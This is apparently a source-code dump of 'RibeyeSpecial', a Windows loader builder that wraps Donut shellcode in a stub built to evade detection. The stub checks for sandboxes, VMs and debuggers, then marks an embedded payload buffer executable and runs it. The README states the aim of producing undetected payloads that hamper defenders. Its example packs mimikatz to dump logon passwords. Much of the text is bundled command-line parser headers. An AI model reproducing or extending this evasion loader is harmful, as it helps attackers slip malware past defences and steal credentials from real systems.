├── RibeyeSpecial ├── donut.lib ├── donut32.lib ├── Helper.h ├── Helper.cpp ├── tclap │ ├── Makefile.am │ ├── Visitor.h │ ├── IgnoreRestVisitor.h │ ├── sstream.h │ ├── OptionalUnlabeledTracker.h │ ├── Constraint.h │ ├── CmdLineOutput.h │ ├── HelpVisitor.h │ ├── VersionVisitor.h │ ├── ArgTraits.h │ ├── ValuesConstraint.h │ ├── CmdLineInterface.h │ ├── XorHandler.h │ ├── StandardTraits.h │ ├── ArgException.h │ ├── MultiSwitchArg.h │ ├── SwitchArg.h │ ├── DocBookOutput.h │ ├── StdOutput.h │ ├── ZshCompletionOutput.h │ ├── UnlabeledMultiArg.h │ ├── UnlabeledValueArg.h │ ├── MultiArg.h │ └── ValueArg.h ├── RibeyeSpecial.vcxproj.filters ├── donut.h ├── RibeyeSpecial.cpp └── RibeyeSpecial.vcxproj ├── RibeyeBone ├── ImportHandler.h ├── Anti.h ├── RibeyeBone.vcxproj.filters ├── RibeyeBone.cpp ├── ImportHandler.cpp ├── Anti.cpp ├── xorstr.hpp └── RibeyeBone.vcxproj ├── RibeyeSpecial.sln ├── README.md ├── .gitattributes └── .gitignore /RibeyeSpecial/donut.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apt69/RibeyeSpecial/HEAD/RibeyeSpecial/donut.lib -------------------------------------------------------------------------------- /RibeyeSpecial/donut32.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apt69/RibeyeSpecial/HEAD/RibeyeSpecial/donut32.lib -------------------------------------------------------------------------------- /RibeyeSpecial/Helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | uintptr_t FindPattern(char* base, unsigned int size, char* pattern, char *mask); -------------------------------------------------------------------------------- /RibeyeBone/ImportHandler.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void * GetImportB(const char * szDll, const char * szFunc); 4 | bool GetImportA(HANDLE hProc, const char * szDll, const char * szFunc, void * &pOut); 5 | bool GetImportA(HINSTANCE hDllEx, const char * szDll, const char * szFunc, void * &pOut); 6 | HINSTANCE GetModuleHandleExA(HANDLE hProc, const char * szDll); 7 | 8 | #ifdef _WIN64 9 | bool GetProcAddressA_WOW64(HANDLE hProc, HINSTANCE hDll, const char * szFunc, void * &pOut); 10 | HINSTANCE GetModuleHandleExA_WOW64(HANDLE hProc, const char * szDll); 11 | #endif -------------------------------------------------------------------------------- /RibeyeSpecial/Helper.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Helper.h" 3 | 4 | 5 | uintptr_t FindPattern(char* base, unsigned int size, char* pattern, char *mask) 6 | { 7 | size_t patternLength = strlen(mask); 8 | 9 | for (uintptr_t i = 0; i < size - patternLength; i++) 10 | { 11 | bool found = true; 12 | for (uintptr_t j = 0; j < patternLength; j++) 13 | { 14 | if (pattern[j] != *(char*)(base + i + j)) 15 | { 16 | found = false; 17 | break; // yeah that's right, stop iterating when pattern is bad. Looking at you fleep... 18 | } 19 | } 20 | 21 | if (found) 22 | { 23 | return (uintptr_t)base + i; 24 | } 25 | } 26 | return 0; 27 | } -------------------------------------------------------------------------------- /RibeyeBone/Anti.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Loop x amount of time 4 | int prime(int loopCount = 550000); 5 | 6 | // Sleep for x amount of seconds in short bursts 7 | int ntSleep(int milisecond); 8 | 9 | // make sure sleep is not being hooked 10 | bool chk_acceleratedsleep(); 11 | 12 | // make sure there are mouse movement 13 | bool chk_mouse(); 14 | 15 | // check debugger 16 | bool chk_dbg(); 17 | 18 | // check RAM 19 | bool chk_ram(); 20 | 21 | // check CPU cores 22 | bool chk_cores(); 23 | 24 | // check hypervisor 25 | BOOL cpuid_hypervisor_vendor(); 26 | 27 | NTSTATUS ChangePageProtection(IN HANDLE process, IN OUT PVOID baseAddress, IN OUT PULONG size, IN ULONG newProtection, OUT PULONG oldProtection); -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/Makefile.am: -------------------------------------------------------------------------------- 1 | 2 | libtclapincludedir = $(includedir)/tclap 3 | 4 | libtclapinclude_HEADERS = \ 5 | CmdLineInterface.h \ 6 | ArgException.h \ 7 | CmdLine.h \ 8 | XorHandler.h \ 9 | MultiArg.h \ 10 | UnlabeledMultiArg.h \ 11 | ValueArg.h \ 12 | UnlabeledValueArg.h \ 13 | Visitor.h Arg.h \ 14 | HelpVisitor.h \ 15 | SwitchArg.h \ 16 | MultiSwitchArg.h \ 17 | VersionVisitor.h \ 18 | IgnoreRestVisitor.h \ 19 | CmdLineOutput.h \ 20 | StdOutput.h \ 21 | DocBookOutput.h \ 22 | ZshCompletionOutput.h \ 23 | OptionalUnlabeledTracker.h \ 24 | Constraint.h \ 25 | ValuesConstraint.h \ 26 | ArgTraits.h \ 27 | StandardTraits.h \ 28 | sstream.h 29 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/Visitor.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: Visitor.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | 23 | #ifndef TCLAP_VISITOR_H 24 | #define TCLAP_VISITOR_H 25 | 26 | namespace TCLAP { 27 | 28 | /** 29 | * A base class that defines the interface for visitors. 30 | */ 31 | class Visitor 32 | { 33 | public: 34 | 35 | /** 36 | * Constructor. Does nothing. 37 | */ 38 | Visitor() { } 39 | 40 | /** 41 | * Destructor. Does nothing. 42 | */ 43 | virtual ~Visitor() { } 44 | 45 | /** 46 | * Does nothing. Should be overridden by child. 47 | */ 48 | virtual void visit() { } 49 | }; 50 | 51 | } 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/IgnoreRestVisitor.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: IgnoreRestVisitor.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | 23 | #ifndef TCLAP_IGNORE_REST_VISITOR_H 24 | #define TCLAP_IGNORE_REST_VISITOR_H 25 | 26 | #include "Visitor.h" 27 | #include "Arg.h" 28 | 29 | namespace TCLAP { 30 | 31 | /** 32 | * A Visitor that tells the CmdLine to begin ignoring arguments after 33 | * this one is parsed. 34 | */ 35 | class IgnoreRestVisitor: public Visitor 36 | { 37 | public: 38 | 39 | /** 40 | * Constructor. 41 | */ 42 | IgnoreRestVisitor() : Visitor() {} 43 | 44 | /** 45 | * Sets Arg::_ignoreRest. 46 | */ 47 | void visit() { Arg::beginIgnoring(); } 48 | }; 49 | 50 | } 51 | 52 | #endif 53 | -------------------------------------------------------------------------------- /RibeyeBone/RibeyeBone.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /RibeyeBone/RibeyeBone.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "xorstr.hpp" 3 | #include "Anti.h" 4 | 5 | 6 | // Data that will be replaced by RibeyeSpecial, prepare 20bytes for now but will grow 7 | const char rawData[2097252] = "COCONUTZ"; 8 | 9 | // Struct that will determine the configuration to run this 10 | struct Coconut 11 | { 12 | int AES_Key = 20; 13 | int sleepTime = 5000; 14 | bool sleep = false; 15 | bool antivm = false; 16 | bool prime = false; 17 | bool mouse = false; 18 | bool acceleratedsleep = false; 19 | bool debugger = false; 20 | bool ram = false; 21 | bool cpu_core = true; 22 | int szData = 0; 23 | char opcodes[2097152] = { 0 }; 24 | }; 25 | 26 | 27 | int main() 28 | { 29 | 30 | if (cpuid_hypervisor_vendor()) 31 | { 32 | return 1; 33 | } 34 | 35 | Coconut * settings = (Coconut*)rawData; 36 | 37 | if (settings->antivm) 38 | { 39 | if (cpuid_hypervisor_vendor()) 40 | { 41 | return 1; 42 | } 43 | } 44 | if (settings->debugger) 45 | { 46 | if (chk_dbg()) 47 | return 1; 48 | } 49 | if (settings->ram) 50 | { 51 | if (chk_ram()) 52 | return 1; 53 | } 54 | if (settings->cpu_core) 55 | { 56 | if (chk_cores()) 57 | return 1; 58 | } 59 | if (settings->mouse) 60 | { 61 | if (chk_mouse()) 62 | return 1; 63 | } 64 | if (settings->prime) 65 | { 66 | prime(); 67 | } 68 | if (settings->acceleratedsleep) 69 | { 70 | if (chk_acceleratedsleep()) 71 | return 1; 72 | } 73 | if (settings->sleep) 74 | { 75 | ntSleep(settings->sleepTime); 76 | } 77 | 78 | DWORD old; 79 | if (!ChangePageProtection((HANDLE)-1, (LPVOID)settings->opcodes, (PULONG)settings->szData, PAGE_EXECUTE, &old)) { 80 | 81 | int(*apt)() = (int(*)())(LPVOID)settings->opcodes; 82 | DWORD foo_value = apt(); 83 | 84 | } 85 | else { 86 | } 87 | 88 | 89 | return 0; 90 | } -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/sstream.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: sstream.h 6 | * 7 | * Copyright (c) 2003, Michael E. Smoot . 8 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno . 9 | * Copyright (c) 2017 Google Inc. 10 | * All rights reserved. 11 | * 12 | * See the file COPYING in the top directory of this distribution for 13 | * more information. 14 | * 15 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 16 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 18 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 20 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 21 | * DEALINGS IN THE SOFTWARE. 22 | * 23 | *****************************************************************************/ 24 | 25 | #ifndef TCLAP_SSTREAM_H 26 | #define TCLAP_SSTREAM_H 27 | 28 | #if !defined(HAVE_STRSTREAM) 29 | // Assume sstream is available if strstream is not specified 30 | // (https://sourceforge.net/p/tclap/bugs/23/) 31 | #define HAVE_SSTREAM 32 | #endif 33 | 34 | #if defined(HAVE_SSTREAM) 35 | #include 36 | namespace TCLAP { 37 | typedef std::istringstream istringstream; 38 | typedef std::ostringstream ostringstream; 39 | } 40 | #elif defined(HAVE_STRSTREAM) 41 | #include 42 | namespace TCLAP { 43 | typedef std::istrstream istringstream; 44 | typedef std::ostrstream ostringstream; 45 | } 46 | #else 47 | #error "Need a stringstream (sstream or strstream) to compile!" 48 | #endif 49 | 50 | #endif // TCLAP_SSTREAM_H 51 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/OptionalUnlabeledTracker.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /****************************************************************************** 4 | * 5 | * file: OptionalUnlabeledTracker.h 6 | * 7 | * Copyright (c) 2005, Michael E. Smoot . 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | 24 | #ifndef TCLAP_OPTIONAL_UNLABELED_TRACKER_H 25 | #define TCLAP_OPTIONAL_UNLABELED_TRACKER_H 26 | 27 | #include 28 | 29 | namespace TCLAP { 30 | 31 | class OptionalUnlabeledTracker 32 | { 33 | 34 | public: 35 | 36 | static void check( bool req, const std::string& argName ); 37 | 38 | static void gotOptional() { alreadyOptionalRef() = true; } 39 | 40 | static bool& alreadyOptional() { return alreadyOptionalRef(); } 41 | 42 | private: 43 | 44 | static bool& alreadyOptionalRef() { static bool ct = false; return ct; } 45 | }; 46 | 47 | 48 | inline void OptionalUnlabeledTracker::check( bool req, const std::string& argName ) 49 | { 50 | if ( OptionalUnlabeledTracker::alreadyOptional() ) 51 | throw( SpecificationException( 52 | "You can't specify ANY Unlabeled Arg following an optional Unlabeled Arg", 53 | argName ) ); 54 | 55 | if ( !req ) 56 | OptionalUnlabeledTracker::gotOptional(); 57 | } 58 | 59 | 60 | } // namespace TCLAP 61 | 62 | #endif 63 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/Constraint.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: Constraint.h 5 | * 6 | * Copyright (c) 2005, Michael E. Smoot 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | #ifndef TCLAP_CONSTRAINT_H 23 | #define TCLAP_CONSTRAINT_H 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | namespace TCLAP { 33 | 34 | /** 35 | * The interface that defines the interaction between the Arg and Constraint. 36 | */ 37 | template 38 | class Constraint 39 | { 40 | 41 | public: 42 | /** 43 | * Returns a description of the Constraint. 44 | */ 45 | virtual std::string description() const =0; 46 | 47 | /** 48 | * Returns the short ID for the Constraint. 49 | */ 50 | virtual std::string shortID() const =0; 51 | 52 | /** 53 | * The method used to verify that the value parsed from the command 54 | * line meets the constraint. 55 | * \param value - The value that will be checked. 56 | */ 57 | virtual bool check(const T& value) const =0; 58 | 59 | /** 60 | * Destructor. 61 | * Silences warnings about Constraint being a base class with virtual 62 | * functions but without a virtual destructor. 63 | */ 64 | virtual ~Constraint() { ; } 65 | }; 66 | 67 | } //namespace TCLAP 68 | #endif 69 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/CmdLineOutput.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /****************************************************************************** 4 | * 5 | * file: CmdLineOutput.h 6 | * 7 | * Copyright (c) 2004, Michael E. Smoot 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | #ifndef TCLAP_CMDLINEOUTPUT_H 24 | #define TCLAP_CMDLINEOUTPUT_H 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | namespace TCLAP { 34 | 35 | class CmdLineInterface; 36 | class ArgException; 37 | 38 | /** 39 | * The interface that any output object must implement. 40 | */ 41 | class CmdLineOutput 42 | { 43 | 44 | public: 45 | 46 | /** 47 | * Virtual destructor. 48 | */ 49 | virtual ~CmdLineOutput() {} 50 | 51 | /** 52 | * Generates some sort of output for the USAGE. 53 | * \param c - The CmdLine object the output is generated for. 54 | */ 55 | virtual void usage(CmdLineInterface& c)=0; 56 | 57 | /** 58 | * Generates some sort of output for the version. 59 | * \param c - The CmdLine object the output is generated for. 60 | */ 61 | virtual void version(CmdLineInterface& c)=0; 62 | 63 | /** 64 | * Generates some sort of output for a failure. 65 | * \param c - The CmdLine object the output is generated for. 66 | * \param e - The ArgException that caused the failure. 67 | */ 68 | virtual void failure( CmdLineInterface& c, 69 | ArgException& e )=0; 70 | 71 | }; 72 | 73 | } //namespace TCLAP 74 | #endif 75 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/HelpVisitor.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: HelpVisitor.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | #ifndef TCLAP_HELP_VISITOR_H 23 | #define TCLAP_HELP_VISITOR_H 24 | 25 | #include "CmdLineInterface.h" 26 | #include "CmdLineOutput.h" 27 | #include "Visitor.h" 28 | 29 | namespace TCLAP { 30 | 31 | /** 32 | * A Visitor object that calls the usage method of the given CmdLineOutput 33 | * object for the specified CmdLine object. 34 | */ 35 | class HelpVisitor: public Visitor 36 | { 37 | private: 38 | /** 39 | * Prevent accidental copying. 40 | */ 41 | HelpVisitor(const HelpVisitor& rhs); 42 | HelpVisitor& operator=(const HelpVisitor& rhs); 43 | 44 | protected: 45 | 46 | /** 47 | * The CmdLine the output will be generated for. 48 | */ 49 | CmdLineInterface* _cmd; 50 | 51 | /** 52 | * The output object. 53 | */ 54 | CmdLineOutput** _out; 55 | 56 | public: 57 | 58 | /** 59 | * Constructor. 60 | * \param cmd - The CmdLine the output will be generated for. 61 | * \param out - The type of output. 62 | */ 63 | HelpVisitor(CmdLineInterface* cmd, CmdLineOutput** out) 64 | : Visitor(), _cmd( cmd ), _out( out ) { } 65 | 66 | /** 67 | * Calls the usage method of the CmdLineOutput for the 68 | * specified CmdLine. 69 | */ 70 | void visit() { (*_out)->usage(*_cmd); throw ExitException(0); } 71 | 72 | }; 73 | 74 | } 75 | 76 | #endif 77 | -------------------------------------------------------------------------------- /RibeyeSpecial.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29306.81 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RibeyeSpecial", "RibeyeSpecial\RibeyeSpecial.vcxproj", "{51CD07CB-FF99-464A-8B6A-B33C4DED0B22}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RibeyeBone", "RibeyeBone\RibeyeBone.vcxproj", "{CB89EC5C-FBDF-43F4-A923-639C6555F26C}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Debug|x64.ActiveCfg = Debug|x64 19 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Debug|x64.Build.0 = Debug|x64 20 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Debug|x86.ActiveCfg = Debug|Win32 21 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Debug|x86.Build.0 = Debug|Win32 22 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Release|x64.ActiveCfg = Release|x64 23 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Release|x64.Build.0 = Release|x64 24 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Release|x86.ActiveCfg = Release|Win32 25 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22}.Release|x86.Build.0 = Release|Win32 26 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Debug|x64.ActiveCfg = Debug|x64 27 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Debug|x64.Build.0 = Debug|x64 28 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Debug|x86.ActiveCfg = Debug|Win32 29 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Debug|x86.Build.0 = Debug|Win32 30 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Release|x64.ActiveCfg = Release|x64 31 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Release|x64.Build.0 = Release|x64 32 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Release|x86.ActiveCfg = Release|Win32 33 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {0F7298D8-F76F-443E-94D4-93154526DAC4} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/VersionVisitor.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: VersionVisitor.h 6 | * 7 | * Copyright (c) 2003, Michael E. Smoot . 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | 24 | #ifndef TCLAP_VERSION_VISITOR_H 25 | #define TCLAP_VERSION_VISITOR_H 26 | 27 | #include "CmdLineInterface.h" 28 | #include "CmdLineOutput.h" 29 | #include "Visitor.h" 30 | 31 | namespace TCLAP { 32 | 33 | /** 34 | * A Visitor that will call the version method of the given CmdLineOutput 35 | * for the specified CmdLine object and then exit. 36 | */ 37 | class VersionVisitor: public Visitor 38 | { 39 | private: 40 | /** 41 | * Prevent accidental copying 42 | */ 43 | VersionVisitor(const VersionVisitor& rhs); 44 | VersionVisitor& operator=(const VersionVisitor& rhs); 45 | 46 | protected: 47 | 48 | /** 49 | * The CmdLine of interest. 50 | */ 51 | CmdLineInterface* _cmd; 52 | 53 | /** 54 | * The output object. 55 | */ 56 | CmdLineOutput** _out; 57 | 58 | public: 59 | 60 | /** 61 | * Constructor. 62 | * \param cmd - The CmdLine the output is generated for. 63 | * \param out - The type of output. 64 | */ 65 | VersionVisitor( CmdLineInterface* cmd, CmdLineOutput** out ) 66 | : Visitor(), _cmd( cmd ), _out( out ) { } 67 | 68 | /** 69 | * Calls the version method of the output object using the 70 | * specified CmdLine. 71 | */ 72 | void visit() { 73 | (*_out)->version(*_cmd); 74 | throw ExitException(0); 75 | } 76 | 77 | }; 78 | 79 | } 80 | 81 | #endif 82 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RibeyeSpecial - STILL IN PROGRESS, DO NOT USE! I REPEAT - DO NOT USE 2 | medium-rare 3 | ## Purpose 4 | To be a builder that can generate undetected payload on the fly with codes that can be modified to avoid signature detection. Comes with a ton of features that is meant solely to make the blue team life harder as well as make reverse life miserable. 5 | 6 | A loader builder for TheWover's Donut Project. Will support all sort of stuff and have more features as time goes on! 7 | https://twitter.com/specialhoang 8 | 9 | https://twitter.com/tomahawkapt69 (At least I remember to clout the group unlike a certain coconut https://twitter.com/nixbyte/status/1189288814465998848) 10 | 11 | ## Install 12 | 1. Download latest https://github.com/apt69/RibeyeSpecial/releases 13 | 2. Make sure RibeyeSpecial.exe, RibeyeBone64.exe, and RibeyeBone32.exe are in the same folder 14 | 15 | ## Usage 16 | ### Example 17 | ``` 18 | C:\Users\APT69\Desktop>RibeyeSpecial.exe -f mimikatz.exe -o test.exe -p -s -t 6000 -g "sekurlsa::logonpasswords" 19 | ``` 20 | ``` 21 | C:\Users\APT69\Desktop>RibeyeSpecial.exe -h 22 | 23 | USAGE: 24 | 25 | RibeyeSpecial.exe [-c] [-r] [-d] [-a] [-m] [-p] [-s] [-v] [-e] [-g 26 | ] [-t ] -o -f [--] 27 | [--version] [-h] 28 | 29 | 30 | Where: 31 | 32 | -c, --core 33 | Check CPU core count, anti VM 34 | 35 | -r, --ram 36 | Check RAM size, anti VM 37 | 38 | -d, --debugger 39 | Check if we are being debugged, anti debug 40 | 41 | -a, --accel 42 | Check if sleep is being accelerated, evade sandbox 43 | 44 | -m, --mouse 45 | Check mouse movement, evade sandbox 46 | 47 | -p, --prime 48 | Prime calculation to evade sandbox 49 | 50 | -s, --sleep 51 | Sleep to evade sandbox 52 | 53 | -v, --vm 54 | Detect VM using CPUID 55 | 56 | -e, --all 57 | Enable all checks with default values 58 | 59 | -g , --param 60 | Parameter to pass to payload 61 | 62 | -t , --sleeptime 63 | How long to sleep for (in ms) if -s is enabled 64 | 65 | -o , --output 66 | (required) Output file name 67 | 68 | -f , --file 69 | (required) Path to file to execute 70 | 71 | --, --ignore_rest 72 | Ignores the rest of the labeled arguments following this flag. 73 | 74 | --version 75 | Displays version information and exits. 76 | 77 | -h, --help 78 | Displays 